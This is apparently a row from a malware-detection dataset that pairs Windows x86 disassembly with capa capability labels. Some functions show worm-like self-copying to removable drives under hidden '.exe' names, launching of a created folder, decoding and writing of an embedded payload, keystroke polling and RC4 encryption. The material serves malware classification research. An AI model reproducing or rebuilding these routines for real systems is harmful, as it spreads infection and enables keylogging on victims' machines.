joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404910
Capabilities:
Check if file exists
Check mutex on windows
Get file size
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [0x4086b4]
push esi
push edi
push 0x96
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov eax, dword [0x4086a4]
push esi
call fcn.00404080
add esp, 4
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xbb8
push eax
mov dword [esp + 0x10], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
jne 0x4049fd
mov ecx, dword [0x4086a8]
push 0
push 6
push 4
push 0
push 1
push 0x40000000
push ecx
call esi
cmp eax, 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4085c8], eax
jne 0x4049c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x404a67
mov edx, dword [0x4085c8]
push edx
call edi
mov eax, dword [0x4086a8]
push 0
push 6
push 1
push 0
push 1
push 0x40000000
push eax
call esi
mov dword [0x4085c8], eax
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [0x4085c8]
push 0
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [0x4085c8]
push ecx
call edi
mov dword [0x4085c8], 0
jmp 0x404a06
cmp dword [0x4085c8], 0
jne 0x404a42
mov edx, dword [0x4086a8]
push 0
push 0
push 4
push 0
push 1
push 0x80000000
push edx
call esi
push 0
push eax
mov dword [0x4085c8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xbb8
mov dword [0x4085cc], eax
jbe 0x404a42
mov dword [0x4085bc], 1
cmp dword [0x4085c4], 0
jne 0x404a67
mov eax, dword [0x4086a0]
push 0
push 0
push 4
push 0
push 1
push 0x80000000
push eax
call esi
mov dword [0x4085c4], eax
pop edi
pop esi
add esp, 8
ret

Function at 0x404a70
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
sub esp, 0xc
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x208
push 8
push eax
call edi
mov ecx, dword [0x4086b4]
push 0x190
push 8
push ecx
mov esi, eax
call edi
push 0x102
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [esp + 0x14], eax
lea esp, [esp]
lea edx, [esp + 0x18]
push edx
push 0x102
push edi
push esi
call ebx
push edi
call ebp
cmp eax, 2
jne 0x404add
mov ecx, edi
call fcn.00404b20
mov eax, dword [esp + 0x14]
push 0x102
push esi
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x404ac0
mov ecx, dword [0x4086b4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
push ecx
call esi
mov edx, dword [0x4086b4]
push edi
push 0
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x404b20
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
sub esp, 0x26c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x264], eax
mov eax, dword [0x4086b4]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x267
push 8
push eax
mov ebx, ecx
call edi
mov ecx, dword [0x4086b4]
push 0x267
push 8
mov ebp, eax
push ecx
mov dword [esp + 0x20], ebp
call edi
push ebx
push 0x102
push ebp
mov esi, eax
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
push ebx
push 0x102
push esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4086b4]
add esp, 0x18
push 0x267
push 8
push edx
call edi
push 0x407420
push 0x102
push ebp
mov ebp, dword [sym.imp.MSVCR80.dll_wcscat_s]
mov ebx, eax
call ebp
mov eax, dword [0x4086b4]
add esp, 0xc
push 0x208
push 8
push eax
call edi
mov edi, eax
push 0x102
push edi
push 0
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x404cf7
mov eax, dword [esp + 0x20]
mov ecx, eax
or ecx, 0x10
cmp eax, ecx
jne 0x404ca6
lea edx, [esp + 0x4c]
push edx
push 0x102
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, ebx
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404c16
sub eax, edx
sar eax, 1
mov edx, eax
lea ecx, [edx + 0x5a]
cmp edx, ecx
ja 0x404c48
sub ecx, edx
add ecx, 1
shr ecx, 1
lea edi, [ebx + edx*2]
mov eax, 0x200020
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edi, dword [esp + 0x18]
push str..exe
push 0x102
push ebx
mov word [ebx + edx*2 + 0xb6], 0
call ebp
lea eax, [esp + 0x58]
push eax
push 0x102
push esi
call ebp
add esp, 0x18
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push 0x102
push esi
mov word [esi + 6], 0
call ebp
add esp, 0xc
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov word [esi + 6], 0
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404bec
mov eax, dword [esp + 0x14]
mov ecx, dword [0x4086b4]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
push 0
push ecx
call ebp
mov edx, dword [0x4086b4]
push ebx
push 0
push edx
call ebp
mov eax, dword [0x4086b4]
push esi
push 0
push eax
call ebp
mov ecx, dword [0x4086b4]
push edi
push 0
push ecx
call ebp
mov ecx, dword [esp + 0x274]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405260
add esp, 0x26c
ret
Function at 0x404d30
Capabilities:
Check if file exists
Create directory
Create process on windows
Get file attributes
Set file attributes

Disassembly:
push ecx
mov eax, dword [0x4086b4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x2c6
push 8
push eax
call esi
mov ecx, dword [0x4086b4]
push 0x2bc
push 8
push ecx
mov ebx, eax
call esi
push 0x104
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push 0x15e
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, esi
add esp, 0xc
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404d80
sub eax, edx
sar eax, 1
add eax, 0xffffffff
js 0x404da0
cmp word [esi + eax*2], 0x2e
je 0x404e0f
sub eax, 1
jns 0x404d94
mov edx, dword [esp + 8]
push esi
mov word [esi + edx*2], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x404dc5
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
push esi
call edi
push 6
push ebx
call edi
push 1
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
mov edx, dword [0x4086b4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push edx
call esi
mov eax, dword [0x4086b4]
push ebx
push 0
push eax
call esi
pop esi
pop ebx
pop ecx
ret
add eax, 0xffffffff
lea ecx, [eax - 0x5a]
cmp eax, ecx
jl 0x404da0
lea esp, [esp]
cmp word [esi + eax*2], 0x20
jne 0x404dee
mov edx, eax
sub eax, 1
cmp eax, ecx
jge 0x404e20
jmp 0x404da4
Function at 0x404e40
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Terminate process

Disassembly:
sub esp, 0x660
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x65c], eax
mov eax, dword [0x4086b4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebp
push esi
push edi
push 0x208
push 8
push eax
call ebx
push 0x102
push eax
push 0
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edi, edi
jmp 0x404e90
mov ecx, dword [0x4086b4]
push 0x208
push 8
push ecx
call ebx
mov esi, eax
push 0x102
push esi
mov dword [esp + edi*4 + 0x20], esi
call ebp
add edi, 1
cmp edi, 5
mov word [esi + 6], 0
jle 0x404e90
mov edx, dword [0x408680]
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.MSVCR80.dll_wcscat_s]
push edx
push 0x102
push esi
call edi
mov eax, dword [0x408684]
mov ebp, dword [esp + 0x28]
push eax
push 0x102
push ebp
call edi
mov ecx, dword [0x408688]
mov edi, dword [esp + 0x38]
mov ebx, dword [sym.imp.MSVCR80.dll_wcscpy_s]
push ecx
push 0x102
push edi
call ebx
mov edx, dword [esp + 0x48]
push edx
mov eax, esi
call fcn.00404080
mov eax, dword [esp + 0x50]
push eax
mov eax, ebp
call fcn.00404080
mov ecx, dword [esp + 0x58]
push ecx
mov eax, edi
call fcn.00404080
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMutexW]
add esp, 0x30
xor esi, esi
lea edi, [esp + 0x23c]
jmp 0x404f40
mov edx, dword [esp + esi*4 + 0x18]
push edx
lea eax, [edi - 0x208]
push 0x102
push eax
call ebx
mov ecx, dword [esp + esi*4 + 0x30]
add esp, 0xc
push ecx
push 0
push 0
mov dword [edi], esi
call ebp
mov dword [edi - 0x20c], eax
mov dword [edi + 4], 0
add esi, 1
add edi, 0x214
cmp esi, 2
jle 0x404f40
mov eax, dword [esp + 0x240]
cmp eax, 0xffffffff
je 0x404f8f
add eax, 0xc8
mov edx, dword [esp + 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ebp, eax
mov eax, dword [esp + 0x30]
push eax
call edi
mov ecx, dword [esp + 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call ebx
mov eax, dword [esp + 0x454]
cmp eax, 0xffffffff
je 0x404fca
add eax, 0xc8
mov edx, dword [esp + 0x244]
push eax
push edx
call esi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x244]
push eax
call edi
mov ecx, dword [esp + 0x244]
push ecx
call ebx
mov eax, dword [esp + 0x668]
cmp eax, 0xffffffff
je 0x404ffe
add eax, 0xc8
mov edx, dword [esp + 0x458]
push eax
push edx
call esi
mov esi, eax
mov eax, dword [esp + 0x458]
push eax
call edi
mov ecx, dword [esp + 0x458]
push ecx
call ebx
cmp ebp, 0x102
jne 0x405039
cmp dword [esp + 0x14], ebp
jne 0x405039
cmp esi, ebp
jne 0x405039
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
mov edx, dword [esp + esi*4 + 0x18]
mov eax, dword [0x4086b4]
push edx
push 8
push eax
call edi
add esi, 1
cmp esi, 5
jle 0x405041
mov ecx, dword [esp + 0x10]
mov edx, dword [0x4086b4]
push ecx
push 8
push edx
call edi
mov ecx, dword [esp + 0x66c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405260
add esp, 0x660
ret
Function at 0x405090
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
sub esp, 0x34
push ebx
push esi
push edi
push 0x208
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov ebx, eax
push 0x102
push ebx
push 0
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push ebx
call esi
push 0
push 6
push 2
push 0
push 1
mov edi, eax
mov eax, dword [esp + 0x58]
push 0x40000000
push eax
mov dword [esp + 0x38], edi
call esi
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x4051db
push ebp
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
mov ebp, eax
push 4
push ebp
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x1c
lea ecx, [esp + 0x2c]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [esp + 0x34]
mov eax, 1
add ecx, 0xffffffff
cmp ecx, eax
jb 0x405165
mov dl, 0x49
cmp byte [eax + esi], 0x4d
jne 0x40515e
cmp byte [eax + esi + 1], dl
jne 0x40515e
cmp byte [eax + esi + 2], 0x4c
jne 0x40515e
cmp byte [eax + esi + 3], dl
je 0x405169
add eax, 1
cmp eax, ecx
jbe 0x405145
mov eax, dword [esp + 0x14]
lea ecx, [eax + 0x18f79]
cmp eax, ecx
lea edi, [eax + esi - 6]
ja 0x4051b2
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
sub ecx, eax
add ecx, 1
mov ebx, ecx
mov dl, byte [edi]
push 0
lea eax, [esp + 0x28]
push eax
sub dl, 3
push 1
lea ecx, [esp + 0x1f]
mov byte [esp + 0x1f], dl
mov edx, dword [esp + 0x20]
push ecx
push edx
call ebp
add edi, 1
sub ebx, 1
jne 0x405184
mov ebp, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebp
call edi
push ebx
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x34
ret
Function at 0x4099b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49646b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048af78
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409a32
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004889f8
mov eax, dword [eax]
push 0x66ac88
push eax
call fcn.0047aba4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048b203
test bl, bl
je 0x409a32
push 0x66ac88
lea ecx, [esp + 0xc]
call fcn.0048b593
push 0x66ac94
lea ecx, [esp + 0xc]
call fcn.0048b593
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x409a6e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048b203
jmp 0x409b39
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409af2
lea edx, [esp + 0x7c]
push 0x66ac90
push edx
call fcn.0047aba4
add esp, 8
test eax, eax
je 0x409af2
lea eax, [esp + 0x7c]
push 0x66ac8c
push eax
call fcn.0047aba4
add esp, 8
test eax, eax
je 0x409af2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409a82
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048b203
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a340
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a3a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a3b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4964eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x67a020]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a4e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a416
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b203
xor eax, eax
jmp 0x40a55f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048b340
push esi
lea ecx, [esp + 0xc]
call fcn.0048b5cf
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a53d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040a340
test eax, eax
jne 0x40a53d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040a340
test eax, eax
jne 0x40a53d
lea eax, [esp + 0x14]
push 0x66aca4
push eax
call fcn.0047bc40
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a51c
lea ecx, [esp + 0x14]
push 0x66aca0
push ecx
call fcn.0047bbc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a51c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a51f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048b2f0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a42e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b203
xor eax, eax
jmp 0x40a55f
mov byte [esi], 0
push 0x66ac9c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048b203
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41aea0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41af0e
cmp si, 0x69
ja 0x41af0e
add esi, 0xffd0
cmp si, 0x11
je 0x41aede
push 0x11
call edi
test ax, ax
jge 0x41aede
or esi, 0x2000
cmp si, 0x10
je 0x41aef3
push 0x10
call edi
test ax, ax
jge 0x41aef3
or esi, 0x4000
cmp si, 0x12
je 0x41af08
push 0x12
call edi
test ax, ax
jge 0x41af08
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41af1b
mov esi, 0xbd
jmp 0x41aecf
cmp si, 0x6e
jne 0x41af28
mov esi, 0xbe
jmp 0x41aecf
cmp si, 0x6f
jne 0x41aec9
mov esi, 0xbf
jmp 0x41aecf

Function at 0x41c720
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x68a830]
xor edx, edx
cmp eax, edx
jne 0x41c746
xor eax, eax
mov byte [eax + 0x68a730], al
inc eax
cmp eax, 0x100
jl 0x41c72e
mov dword [0x68a830], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x68a730
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41c7d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41c7aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41c778
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41c7e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41c833
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41c81a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423840
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4239d8
cmp ebp, ebx
jle 0x4239d8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42389e
dec eax
or eax, 0xfffffff8
inc eax
je 0x4238a5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4238b4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4238bb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0048af44
add esp, 4
cmp eax, ebx
je 0x4238dc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0048af44
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4239ce
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4239b5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4239a1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x423996
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4239a4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4239a4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x423940
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x423931
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x426f20
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x497b68
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x426f59
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004928f1
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0049293d
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00426fe0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0049297a
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24